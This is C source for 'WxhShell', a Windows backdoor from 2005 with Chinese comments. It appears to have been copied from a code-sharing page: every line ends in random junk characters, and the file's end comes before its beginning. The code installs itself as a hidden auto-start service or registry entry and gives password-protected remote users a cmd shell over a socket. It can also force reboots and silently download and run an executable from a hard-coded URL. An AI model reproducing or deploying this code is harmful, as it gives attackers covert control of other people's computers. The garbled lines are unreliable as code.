    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #/NS&_Ge0s  
    if(Boot(SHUTDOWN)) ,jC3Fcly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ATy*^sc&"  
    else { <BSc* 9Q  
    closesocket(wsh); P_c,BlfGMH  
    ExitThread(0); oW^*l#v  
    } 7},)]da>,'  
    break; w=|GJ 0  
    } *=fr8  
  // 获取shell 2DB7+aZ*  
  case 's': { `+t.!tv!  
    CmdShell(wsh); l~D N1z6`  
    closesocket(wsh); >6oOZbUY0  
    ExitThread(0); it> r+%  
    break; I+ es8  
  } xr7+$:>a  
  // 退出 <" @zn  
  case 'x': { JT9N!CGZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x Au/  
    CloseIt(wsh); ,v&L:a  
    break; +kq'+Y7  
    } ~+<olss_  
  // 离开 {V1Pp;A  
  case 'q': { n!6Z]\8~$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '|7Woxl9  
    closesocket(wsh); |7B!^ K  
    WSACleanup(); lQfL3`X!  
    exit(1); .>wv\i [p  
    break; =?h~.lo  
        } 7 Sa1;%R  
  } ZhNdB  
  } BS q)RV/3  
+n})Y  
  // 提示信息 kQaSbpNmH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mc-)OtmG[  
} q~L^au8  
  } w_ {,<[#  
*jMk/9oa<N  
  return; D0mI09=GtQ  
} v`V7OD#:j]  
l;sy0S"DO]  
// shell模块句柄 Bm\qxQ  
int CmdShell(SOCKET sock) _5MNMV LwW  
{ \v6 M:KR5/  
STARTUPINFO si; l%Gw_0.?e  
ZeroMemory(&si,sizeof(si)); AF43$6KZP$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ubu?S%`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qm8) 4?FZ  
PROCESS_INFORMATION ProcessInfo; `VQb-V  
char cmdline[]="cmd"; |0{u->+ )  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jKZt~I  
  return 0; q> s-Y|  
} 4wi(?  
Xnuzr" 4u  
// 自身启动模式 /U6% %%-D`  
int StartFromService(void) mp~{W  
{ `.#@@5e  
typedef struct hI pKJ&hm  
{ F?m?UQS'u  
  DWORD ExitStatus; zq1mmFIO  
  DWORD PebBaseAddress; hh~n#7w~IR  
  DWORD AffinityMask; FuX 8v  
  DWORD BasePriority; dY" }\v6  
  ULONG UniqueProcessId; $|KaBx1  
  ULONG InheritedFromUniqueProcessId; =e><z9hY  
}   PROCESS_BASIC_INFORMATION; AM} brO  
(-NHx o  
PROCNTQSIP NtQueryInformationProcess; )' xETA  
?3Ij*}_O2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Fu>|2F|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .+y>8h3{  
Wk^RA_  
  HANDLE             hProcess; mL~z~w*s  
  PROCESS_BASIC_INFORMATION pbi; m-T~fJ  
2X-l{n;>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fqs]<qi  
  if(NULL == hInst ) return 0; 91of~ffh  
 ==/n(LBD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 44\>gI<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7@a 0$coP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `>D9P_Y"jI  
7%OKH<i\2<  
  if (!NtQueryInformationProcess) return 0; 6zIgQ4Bp24  
*m+5Pr`7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U-0#0}_  
  if(!hProcess) return 0; HNa]H;-+5  
NYABmI/0c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ip}Vb6}  
rVQX7l#YI  
  CloseHandle(hProcess); rOD1_X-  
_SZ5P>GIU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -~)OF  
if(hProcess==NULL) return 0; +Ra3bjl  
L;W.pe0  
HMODULE hMod; ql5x2n  
char procName[255]; OMihXt[  
unsigned long cbNeeded; Uz%Z&K  
$R8w+ Id  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^TXfsQs  
Swtbl`,  
  CloseHandle(hProcess); :9l51oE7  
\g-j9|0  
if(strstr(procName,"services")) return 1; // 以服务启动 ,`td@Y  
#>@z 2K7  
  return 0; // 注册表启动 v_PdOp[ k  
} lf>nbvp  
BzpP7ZWV  
// 主模块 tPHS98y  
int StartWxhshell(LPSTR lpCmdLine) 1'6cGpZY  
{ +c206.  
  SOCKET wsl; 6S?x D5 (  
BOOL val=TRUE; OySy6IN]q  
  int port=0; Nq8@Nyp  
  struct sockaddr_in door; >s*DrfX6  
< /p 8r  
  if(wscfg.ws_autoins) Install(); Mo|wME#M  
v4*rPGv  
port=atoi(lpCmdLine); W( *V2<$o  
Em13dem  
if(port<=0) port=wscfg.ws_port; N~=A  
[A~G-  
  WSADATA data; IGj`_a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U[_8WJ7+  
(UEXxUdQ_Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $%c{06Oq(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,<ya@Fi{  
  door.sin_family = AF_INET; h. hjz?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H D/5!d  
  door.sin_port = htons(port); 8{&["?  
Sn3:x5H,l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^9"KTZc-*  
closesocket(wsl); #P2;K dDO  
return 1; 7CvD'QW /  
} UWG+#,1J.\  
{LE&ylE  
  if(listen(wsl,2) == INVALID_SOCKET) { qFR dg V>8  
closesocket(wsl); _; ]e@  
return 1; ,ul5,ygA  
}  v%{0 Tyk  
  Wxhshell(wsl); WXUkuO  
  WSACleanup(); +p:Y=>bTj  
eE:&qy^  
return 0; G`]w?Di4  
aSaAC7sFk  
} u@ N~1@RT|  
k1N$+h ;\  
// 以NT服务方式启动 B0mLI%B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gb-{2p>}  
{ AO 0!liQ  
DWORD   status = 0; @ Gjny BJ  
  DWORD   specificError = 0xfffffff; s_wUM)!  
J?712=9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2P~)I)3V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A! 6r/   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )3E,D~1e%  
  serviceStatus.dwWin32ExitCode     = 0; mVH,HqsXa  
  serviceStatus.dwServiceSpecificExitCode = 0; H:oQ  
  serviceStatus.dwCheckPoint       = 0; SX+RBVZU  
  serviceStatus.dwWaitHint       = 0; #n})X,ip2  
Sgj/s~j~1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )r!e2zc=Q  
  if (hServiceStatusHandle==0) return; V 7<eQ0;m  
Px4/O~bLk  
status = GetLastError(); oNRG25  
  if (status!=NO_ERROR) z-u?s`k**  
{ v|+5:jFOqb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z:G}>fk5  
    serviceStatus.dwCheckPoint       = 0; ]A:( L9  
    serviceStatus.dwWaitHint       = 0; K84&sSi  
    serviceStatus.dwWin32ExitCode     = status; m/${8  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6}&^=^-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i2F(GH?p[  
    return; aw$Y`6,S  
  } xks?y.wA  
|4SW[>WT:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VuWib+fT  
  serviceStatus.dwCheckPoint       = 0; }C~]=Z  
  serviceStatus.dwWaitHint       = 0; fD6GQ*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e@ oWwhpE  
} .LE+/n  
.H;B=nd*  
// 处理NT服务事件,比如:启动、停止 c4]u&tvjJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;L6Xs_L~  
{ L$JI43HZ  
switch(fdwControl) wJIB$3OT  
{ Ph)| j&]  
case SERVICE_CONTROL_STOP: 6v47 QW|'  
  serviceStatus.dwWin32ExitCode = 0; QrS$P09=\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; __)qw#  
  serviceStatus.dwCheckPoint   = 0; nm):SEkC  
  serviceStatus.dwWaitHint     = 0; YOw?'+8  
  { :EB,{|m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dB)9K)  
  } k,_i#9 X  
  return; `jW 4H$D  
case SERVICE_CONTROL_PAUSE: do' ORcZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x;U|3{I o  
  break; +i)AS0?d  
case SERVICE_CONTROL_CONTINUE: $%He$t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YBylyVZ  
  break; ^ KAG|r9  
case SERVICE_CONTROL_INTERROGATE: (+MC<J/i  
  break; f)Y  
}; A'g,:8Ou  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #]zhZW4  
} W8* 2;F]  
P6HGs? *  
// 标准应用程序主函数 0zV 4`y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |cu`f{E2]  
{ oyQ0V94j  
3j&B(aLy  
// 获取操作系统版本 22vq=RO7Z  
OsIsNt=GetOsVer(); 4K,''7N3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #WEq-0L   
qy9i9$8  
  // 从命令行安装 x7gjG"V  
  if(strpbrk(lpCmdLine,"iI")) Install(); ak2dn]]D  
d Uz<1^L  
  // 下载执行文件 uGCtLA+sL  
if(wscfg.ws_downexe) { F@<MT<TRf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,wT g$ g-$  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xu%d,T$G  
} Sh$U-ch@  
#~e9h9  
if(!OsIsNt) { ,i![QXZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?#ihJt,  
HideProc(); ,aO@.<"  
StartWxhshell(lpCmdLine); )[ b#g(Y(  
} |8'B/ p=  
else }} #be  
  if(StartFromService()) dJE`9$jN  
  // 以服务方式启动 %yhI;M^  
  StartServiceCtrlDispatcher(DispatchTable); @ RX`>r{_  
else |D(&w+(  
  // 普通方式启动 *[ #*n n  
  StartWxhshell(lpCmdLine); ^Y<M~K972  
?%;B`2 nDR  
return 0; cuMc*i$w!  
} &CO| Y(+  
}{=8&gA0  
`U#Po_hq  
WVkG 2  
=========================================== fp-m.d:|  
/=ACdJ  
Wxk; g  
2YluJ:LN  
ex0oAt^  
`{L{wJ:&a  
" ,5:![  
' 3VqkQ4  
#include <stdio.h> 8>d q=0:  
#include <string.h> qxSs ~Qc  
#include <windows.h> ##2`5i-x  
#include <winsock2.h> "B?R| Xg  
#include <winsvc.h> ~zj"OG"zOw  
#include <urlmon.h> S|) J{~QH  
jQs*(=ls  
#pragma comment (lib, "Ws2_32.lib") 1W0.Ufl)  
#pragma comment (lib, "urlmon.lib") w Oj88J)  
>\&= [C  
#define MAX_USER   100 // 最大客户端连接数 V0S6M^\DK  
#define BUF_SOCK   200 // sock buffer Z !Z,M' "  
#define KEY_BUFF   255 // 输入 buffer %A=|'6)k2  
QSv^l-<  
#define REBOOT     0   // 重启 N+hedF@ZU  
#define SHUTDOWN   1   // 关机 *LEu=3lp%>  
3FuCW  
#define DEF_PORT   5000 // 监听端口 'DeW<Sa~  
a>?p.!BM  
#define REG_LEN     16   // 注册表键长度 LhZZc`|7t  
#define SVC_LEN     80   // NT服务名长度 YPG,9iZ&f  
+/(|?7i@  
// 从dll定义API A{M+vsL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IuDT=A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n{z8Ao%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iA&oLu[y3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S_j1=6 #^  
-Sp/fjlq/  
// wxhshell配置信息 !6{J q]  
struct WSCFG { =!YP$hfY  
  int ws_port;         // 监听端口 pOX$4$VR<  
  char ws_passstr[REG_LEN]; // 口令 5U3qr*/;m  
  int ws_autoins;       // 安装标记, 1=yes 0=no J+0/ :00(  
  char ws_regname[REG_LEN]; // 注册表键名 U(P:Je  
  char ws_svcname[REG_LEN]; // 服务名 Z$1.^H.Db  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  I}rGx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h&q=I.3O|?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b24di  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wFp~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2*Va9HP!q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f@h2;An$w  
TG4^_nRl  
}; gh'kUZG a  
OCwW@OC +  
// default Wxhshell configuration qT"drgpi3  
struct WSCFG wscfg={DEF_PORT, R/ Tj^lM  
    "xuhuanlingzhe", t[/\KG8  
    1, y~x#pC*w  
    "Wxhshell", ,YQ=Zk)w  
    "Wxhshell", $vW^n4!  
            "WxhShell Service", wG;}TxrLS  
    "Wrsky Windows CmdShell Service", XNKtL]U}$  
    "Please Input Your Password: ", g(KK9Unu  
  1, L!?v BL  
  "http://www.wrsky.com/wxhshell.exe", 2 ae w6~  
  "Wxhshell.exe" `!<x"xKu  
    }; 2.!1kije  
^4RO  
// 消息定义模块 ~d&'Lp[3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tm%WWbc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aD?# ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;,mBT[_ZO  
char *msg_ws_ext="\n\rExit."; %Fs*#S  
char *msg_ws_end="\n\rQuit."; K?$ 9N}+  
char *msg_ws_boot="\n\rReboot..."; AL(n *,  
char *msg_ws_poff="\n\rShutdown..."; <=$rU232}  
char *msg_ws_down="\n\rSave to "; SgyqmYTvZw  
23)F-.C}j  
char *msg_ws_err="\n\rErr!"; D7EXqo  
char *msg_ws_ok="\n\rOK!"; qwL 0~I  
Nz3zsP$  
char ExeFile[MAX_PATH]; sWp{Y.  
int nUser = 0; qK{| Q  
HANDLE handles[MAX_USER]; ?OdV1xB  
int OsIsNt; b=V)?"e-  
CM`x>J  
SERVICE_STATUS       serviceStatus; +GRxHuW,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K3a>^g  
r(PJ~8)(=  
// 函数声明 *Ro8W-+  
int Install(void); XCW+ pUX  
int Uninstall(void); ( P  
int DownloadFile(char *sURL, SOCKET wsh); Gs^(YGtU  
int Boot(int flag); 6{cybD`Ef&  
void HideProc(void); UENYJ*tnP  
int GetOsVer(void); jQY >9+t  
int Wxhshell(SOCKET wsl); }~myf\$  
void TalkWithClient(void *cs); <ur KIu  
int CmdShell(SOCKET sock); T_3V/)%@  
int StartFromService(void); :yd=No@  
int StartWxhshell(LPSTR lpCmdLine); %j~9O~-  
.@4QkG/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V#p G; ,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); luJ{Iq  
8W(<q|t  
// 数据结构和表定义 w g$D@E7  
SERVICE_TABLE_ENTRY DispatchTable[] = V;M3z9xd  
{ OJnPP>  
{wscfg.ws_svcname, NTServiceMain}, -OHvK0~  
{NULL, NULL} QWU5-p9e8  
}; bv.EM  
ON:LPf>"-  
// 自我安装 8yY"x ['  
int Install(void) ; :v]NZtc  
{ $ iX^p4v  
  char svExeFile[MAX_PATH]; oc!biE`u  
  HKEY key; Z)C:]}Ex  
  strcpy(svExeFile,ExeFile); zyIza@V(  
*=($r%)  
// 如果是win9x系统,修改注册表设为自启动 ~5-~q0Ge  
if(!OsIsNt) { SS >:Sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h<PYE]?l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *O2^{ C  
  RegCloseKey(key); 4U}.Skzq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cRs{=RGc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]hCWe0F  
  RegCloseKey(key); 9nP*N`  
  return 0; QT7w::ht  
    } sV9{4T~#|  
  } g @c=Bt$  
} jEC'l]l  
else { pkrl@ jv >  
e_fg s>o`(  
// 如果是NT以上系统,安装为系统服务 !Ei Ze.K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AlPL;^Y_l  
if (schSCManager!=0) @\x,;!N@  
{ &6|6J1c8  
  SC_HANDLE schService = CreateService Vvxc8v:  
  ( O+CF/ipX/  
  schSCManager, jldcvW  
  wscfg.ws_svcname, yb@X*PW/z  
  wscfg.ws_svcdisp, Mq rt-VPh  
  SERVICE_ALL_ACCESS, (H|%?F;{l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >=Rd3dgDG  
  SERVICE_AUTO_START, bAA'=z<  
  SERVICE_ERROR_NORMAL, d +*T@k]>M  
  svExeFile, T>AI0R3  
  NULL, m)tI  
  NULL, 6/p]jN  
  NULL, |q1b8A\  
  NULL, '=@-aVp  
  NULL _*OaiEL+:  
  ); -jcrXskb&N  
  if (schService!=0) :Su5  
  { OF<[Nh\.  
  CloseServiceHandle(schService); mI _ 6f~  
  CloseServiceHandle(schSCManager); ;ph+ZV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +iZ@.LI  
  strcat(svExeFile,wscfg.ws_svcname); `Z;B^Y0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pn ~/!y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HQ-N!pf9  
  RegCloseKey(key);  RU3_Fso  
  return 0; ;iwD/=Y  
    } BMtYM{S6  
  } QrrZF.  
  CloseServiceHandle(schSCManager); 8yJk81 gY  
} ;n:H6cp  
} |r<.R>  
$w2[5|^S  
return 1; juve9HaW  
} Aw_R $  
Px^<2Q%Fs  
// 自我卸载 Yc|-sEK/  
int Uninstall(void) A61-AwvF8-  
{ *`\4j*$^  
  HKEY key; &L[8Mju6  
qZyt>SAx  
if(!OsIsNt) { ]%ZjD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $AL|d[[T[  
  RegDeleteValue(key,wscfg.ws_regname); IAt+S-q0  
  RegCloseKey(key); N8/Au=De_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ed ?Yk* 4  
  RegDeleteValue(key,wscfg.ws_regname); H7cRWB  
  RegCloseKey(key); NZi'eZ{^`  
  return 0; \a~;8):q=i  
  } |eVTxeq  
} lN]X2 4t  
} +wPvQKVfI  
else { FHnHhB[  
SbQ{ >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ni02N3R  
if (schSCManager!=0) lzQ&)7`  
{ ,rvZW}=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MZhJ,km)  
  if (schService!=0) *Kp ^al  
  { <T=o]M$  
  if(DeleteService(schService)!=0) { sV Z}nq{  
  CloseServiceHandle(schService); B=nx8s  
  CloseServiceHandle(schSCManager); % 'L=  
  return 0; KlSY^(kHR  
  } swe8  
  CloseServiceHandle(schService); @% 5F^Vbd  
  } @)M.u3{\  
  CloseServiceHandle(schSCManager); )9;kzp/  
} 2Xk1A S  
} YRT}fd>R&  
sjVl/t`l  
return 1; 07HX5 Hd  
} aV0;WH_3  
v2dSC(hRZ  
// 从指定url下载文件 H603L|4  
int DownloadFile(char *sURL, SOCKET wsh) -^SD6l$  
{ )I0g&e^Tzy  
  HRESULT hr; b "AHw?5F  
char seps[]= "/"; v*T@ <]f3j  
char *token; a} Iz  
char *file; D-;43>yi<  
char myURL[MAX_PATH]; _ZvX"{y~  
char myFILE[MAX_PATH]; EWvid4QEi  
9DocId.  
strcpy(myURL,sURL); h?O%XnD  
  token=strtok(myURL,seps); }e;p8)]Wl  
  while(token!=NULL) nh_xbo5L[  
  { 70 D Q/b  
    file=token; j(2tbWg9-  
  token=strtok(NULL,seps); oU{-B$w  
  } 8i+jFSZ$  
C^ k3*N  
GetCurrentDirectory(MAX_PATH,myFILE); v(WL 3[y;  
strcat(myFILE, "\\"); u>-uRz<)t  
strcat(myFILE, file); rBL_]\$7}  
  send(wsh,myFILE,strlen(myFILE),0); D/!G]hx  
send(wsh,"...",3,0); :O2v0Kx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \?Oa}&k$F8  
  if(hr==S_OK) { N8rZ[Oo  
return 0; U S~JLJI  
else A UO0  
return 1; 9cHNwgD>v  
Y{\2wU!Isn  
} s?gXp{O?X  
+r34\mAO  
// 系统电源模块 i_Q4bhVj  
int Boot(int flag) r'}k`A 5>  
{ P|QnZ){  
  HANDLE hToken; YJ;a{)e  
  TOKEN_PRIVILEGES tkp; 8CHf.SXh  
'J<zVD}0  
  if(OsIsNt) { "\P~Re"EH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ffqn|} gb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Y&W)V-  
    tkp.PrivilegeCount = 1; ?F:C!_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6(Rq R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .M#>@~XR  
if(flag==REBOOT) { &qj&WfrB,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E!]rh,mYK  
  return 0; K%~Kg9  
} ;?[+vf")  
else { G;.u>92r|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZJ'H y5?  
  return 0; AF nl t  
} REe%>|   
  } @ F"ShT0  
  else { (%^TTe  
if(flag==REBOOT) { !N2 n@bo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <Ucfd G&Lp  
  return 0; uY#58?>'j  
} 3R96;d;  
else { dXy"yQ>{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &ppZRdq]  
  return 0; Pn){xfqDl  
} t7& GCZ  
} _ -FQ78C  
CMB$RLf  
return 1; hQrsZv:Q  
} ]0nC;|]@Lx  
H5rNLfw '  
// win9x进程隐藏模块 +R jD\6bJb  
void HideProc(void) 6O?Sr,  
{ UEb'E;  
L ~' N6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p~ VW3u]  
  if ( hKernel != NULL ) YRX2^v ^[  
  { |r!Qhb.!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;C@^wI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .ceU @^  
    FreeLibrary(hKernel); Ptxc9~k  
  } LGue=Hkp  
g{.@|;d <p  
return; <\Dl#DH  
} 8c' -eT"  
U\plt%2m>  
// 获取操作系统版本 oEf^o*5(  
int GetOsVer(void) $XzlW=3y  
{ Qpu2RfP  
  OSVERSIONINFO winfo; {@`Uf;hPAX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [1X5r<(W5  
  GetVersionEx(&winfo); ]uXsl0'`V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ho*RLVI0U  
  return 1; A ba%Gh  
  else !c' ;L'  
  return 0; }tgn1xpx  
} `RLrT3 4  
B$eF@v"  
// 客户端句柄模块 " ~hjB  
int Wxhshell(SOCKET wsl) H s 3*OhK\  
{ "!eT  
  SOCKET wsh; v[=E f  
  struct sockaddr_in client; U-N/Z\QD  
  DWORD myID; b-gVRf#F  
Ol^EQLO  
  while(nUser<MAX_USER) 9O_N iu0  
{ mqxy(zS]  
  int nSize=sizeof(client); W- B[_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fi}rv[`XY[  
  if(wsh==INVALID_SOCKET) return 1; yM~D.D3H  
^d=@RTyo/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jm^jz  
if(handles[nUser]==0) nf^k3QS\  
  closesocket(wsh); t|,Ex7  
else 0X6o  
  nUser++; qOanu  
  } {;~iq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '%7]xp  
_ q1|\E%`h  
  return 0; +F6_P  
} BFRSYwPr  
'.v^seU  
// 关闭 socket *g}&&$b0  
void CloseIt(SOCKET wsh) XsMphZnK  
{ Lu5.$b  
closesocket(wsh); 1F8EL)9  
nUser--; -w0>4JDs  
ExitThread(0); 7l EwQ  
} YA8~O5  
YCdxU1V  
// 客户端请求句柄 <08V-   
void TalkWithClient(void *cs) Kt0Tuj@CY  
{ S,>n'r[  
''YjeX  
  SOCKET wsh=(SOCKET)cs; LxDhthZi_  
  char pwd[SVC_LEN]; d+)L\ `4  
  char cmd[KEY_BUFF]; |}Lgo"cTC  
char chr[1]; &1Iy9&y  
int i,j; B)NB6dCp  
(ytkq(  
  while (nUser < MAX_USER) { K Hc+  
e4LNnJU\|  
if(wscfg.ws_passstr) { QQcj"s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2geC3v% 0o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DgP%Q  
  //ZeroMemory(pwd,KEY_BUFF); vGDo?X~#o  
      i=0; U$Z}<8  
  while(i<SVC_LEN) { oa7Hx<Y  
MPc=cLv  
  // 设置超时 uwzT? C A6  
  fd_set FdRead; K>6p5*&  
  struct timeval TimeOut; znRhQ+8;!  
  FD_ZERO(&FdRead); g>CQO,s;w  
  FD_SET(wsh,&FdRead); M*uG`Eo&  
  TimeOut.tv_sec=8; hglt D8,  
  TimeOut.tv_usec=0; 1i2w<VG1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?Ea"%z*c5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u{z{3fW_  
'kK%sE   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oPBjsQ  
  pwd=chr[0]; x=)$sD-3  
  if(chr[0]==0xd || chr[0]==0xa) {  (La  
  pwd=0; gV;GC{pY  
  break; '+wTrW m~j  
  } bc-)y3gHU  
  i++; vL0Ol -Vt  
    } 6Fb~`J~s  
dG+xr!  
  // 如果是非法用户,关闭 socket *@^0xz{\z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zBfBYhS-  
} [t'"4  
\:7EKzQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * vD<6qf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P!EX;+7+x  
g7-K62bb  
while(1) { ^Quy64M  
RJD3o_("K  
  ZeroMemory(cmd,KEY_BUFF); U4JN,`p{  
i/z7a%$   
      // 自动支持客户端 telnet标准   ],|B4\b;  
  j=0; ^e ii 4  
  while(j<KEY_BUFF) { 8EA?'~"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (0S7  
  cmd[j]=chr[0]; rJ>8|K[kt  
  if(chr[0]==0xa || chr[0]==0xd) { f6)H!SI  
  cmd[j]=0; ^Du_e(TiyK  
  break; ZxQP,Ys_Y  
  } 8b!_b2Za  
  j++; F^-4Pyq@  
    } @dNbL}qQ  
<5%We(3  
  // 下载文件 htaLOTO;A  
  if(strstr(cmd,"http://")) { J;dFmZOk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u!W00;`L  
  if(DownloadFile(cmd,wsh)) 6~LpBlb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ok!{2$P8U9  
